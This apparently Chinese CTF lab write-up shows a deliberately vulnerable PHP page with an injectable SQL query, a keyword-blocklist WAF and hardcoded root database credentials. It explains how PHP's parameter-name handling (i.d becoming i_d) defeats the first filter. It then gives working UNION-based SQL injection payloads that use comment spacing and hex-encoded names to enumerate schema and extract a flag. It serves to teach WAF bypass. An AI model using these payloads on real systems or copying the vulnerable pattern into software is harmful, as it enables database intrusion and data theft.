目录
一、环境搭建
1、源码
index.php
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
2、数据库连接
<?php
$mysql_server_name="localhost";
$mysql_database="ctf"; /** 数据库的名称 */
$mysql_username="root"; /** MySQL数据库用户名 */
$mysql_password="#ABCabc123"; /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
二、源码分析
如果不需要代码解析可以直接跳到第三节!!!!!!
1、第一层waf
前端传入参数后,先通过以下代码传入第一层waf里面,进入dowith_sql函数对传入的参数进行判断和过滤,不满足条件便直接退出并提升 " 非法字符 " ,如果满足条件就执行后面的语句
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
第一个waf过滤掉了 select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile 等关键字
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
2、第二层waf
第二层接收到通过接收REQUEST传来的URL的值,对参数进行第二次过滤筛选,通过 ?将传入的值进行分割。
$_SERVER['REQUEST_URI'] — 访问此页面所需的 URI。例如,“/index.php?code=aaa”
参数拆解
假如传递的参数为 ?i_d=1&submit=1 ,第一步使用explode通过?将参数分割
那么
$request_uri[0] = ?
$request_uri[1] = i_d=1&submit=1
第二次分割
$rewrite_url[0] = i_d=1
$rewrite_url[1] = submit=1
循环遍历rewrite_url数组,分别对参数通过 "=" 进行分割,然后将分割后的参数赋值给$_value
$_value[0] = i_d
$_value[1] = 1
进入if循环,将$_value[1]的值传入第二层waf的dhtmlspecialchars函数,以及php的addslashes函数中,将通过过滤的值在重新赋值给$_value[0]即i_d;
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
addslashes函数的作用为过滤字符,如下图所列:
3、第三层查询
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
将前面两次waf过滤之后的数据拿到,判断传入的参数里面是否有submit字段,如果有就进入if语句内部
假如传递的参数为 ?i_d=1&submit=1
$user_id=1
$sql = "select * from ctf.users where id=1"
$result 接收 $sql 在数据库查询出来的内容
$row = mysql_fetch_array($result)将 $result 的数据拿到,并将数据传入 $row 中
while循环判断 $row 里面是否有数据,如果有数据,就进入while语句内部,打印 $row['name']。
4、传入参数以及返回的结果
我的数据库存储的数据为:
三、waf绕过
1、绕过难点
第一层waf将以下关键字都过滤掉了
/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is
第二层waf将以下符号转化为实体编码,其中的两个英文括号转化为中文括号
str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')')
这代表我们无法使用concat(),updatexml(),floor()等函数
!!!!!面对这种过滤,是否感到非常的棘手
2、php特性绕过第一层waf
但是这种过滤真的没法绕过吗,这里就需要对代码进行细致的分析了,比如下列代码
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
将$_SERVER['REQUEST_URI']用 ? 分开,? 后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$_REQUEST数组中:$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
这个过程等于手工处理了一遍REQUEST_URI,将REQUEST_URI中的字符串分割成数组覆盖到REQUEST里。
按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。
那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。
(一) 特性一
首先,来看一下以下代码执行返回的数据
hpp.php
<?php echo $_REQUEST['i_d']; ?>
可以看到获取了id=2的内容,当我们输入两个相同名字的参数的时候,php是取后一个的
实验做完了,回到漏洞。
我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到的是1,那么不就可以造成WAF的绕过了么?
但上述实验的结果表示,我这个假设是不成立的。二者获取的结果都是22222 。那么,这个思路是否就是不可行的了?
(二) 特性二
这是php另一个特性,自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。
那么假设我发送的是这样一个请求: /t.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/t.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。
利用下列代码可以查看$_SERVER获取的REQUEST_URI与$_REQUEST通过php特性直接获取
的参数存在的区别
hpp.php
<?php
echo "this is requeset get parameter:" ;
echo $_REQUEST['i_d'];
echo "this is server get parameter:";
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
echo "<pre>";
var_dump($request_uri);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
echo "<pre>";
var_dump($rewrite_url);exit;
}
?>
可以发现,$_SERVER['REQUEST_URI']中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['user_id']却是11111。
完美践行了我上述的思路:WAF检测的是2,实际插入数据库的却是1
(三)利用两个特性绕过第一层waf
所以,我们可以通过这种方式将上述的php特性进行第一层waf的绕过
让第一层waf检查第二个传入的正常参数,$_SERVER 检查传入的第一个带有payload的参数
如:
i_d=-1/**/union/**/select/**/1,2,3&i.d=123456&submit
3、绕过第二层waf
1、所需绕过技巧
空格: /**/ %0a %0b
=: like rlike regexp
" "和' ': 当用于包裹数据库名等状态下,可以通过将数据库名这些转为十六进制绕过
2、查数据库名:
i_d=-1/**/union/**/select/**/1,table_schema,3/**/from/**/information_schema.tables&i.d=123456&submit
可以通过limit一个一个数据库的拿,我这里就不演示了,我们这里使用的数据库名为:cft
3、查表名:
i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=123456&submit
这里由于第二层waf会将 "=" 切割," ' " 会被addslashes过滤,所以只能使用like、rlike、regexp等方法查询,但是数据库名没有单双引号无法查询。
但是幸运的是mysql支持16进制的编码,所以我们可以将数据库名进行应该十六进制的转换。
利用工具cyber进行转换
4、查列名:
i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=123456&submit
将users也替换为十六进制
users -----> 0x7573657273
5、查表数据:
i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=123456&submit
因为ctf.users并不需要被单双引号包裹,所以无需转十六进制。